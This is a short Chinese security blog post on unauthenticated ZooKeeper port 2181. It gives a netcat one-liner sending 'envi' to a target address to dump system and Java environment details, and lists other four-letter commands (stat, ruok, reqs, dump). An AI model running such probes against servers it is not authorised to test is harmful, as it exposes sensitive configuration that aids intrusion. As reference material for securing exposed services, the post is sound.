Zookeeper 2181端口 admin 133032文章 108评论 2024年11月21日14:16:13Zookeeper 2181端口已关闭评论7 views字数 359阅读1分11秒阅读模式 # 关于 ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。 ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。 # 攻击方法 使用NC连接,并执行 envi 获取敏感信息 ehco envi | nc xxx.xxx.xxx.xxx 2181 1 相关其他命令 stat:列出关于性能和连接的客户端的统计信息 ruok:测试服务器是否运行在非错误状态。 reqs:列出未完成的请求 envi:打印有关服务环境的详细信息 dump:列出未完成的会话和临时节点 免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。 点赞 https://cn-sec.com/archives/3397928.html 复制链接 复制链接 左青龙 微信扫一扫 右白虎 微信扫一扫
评论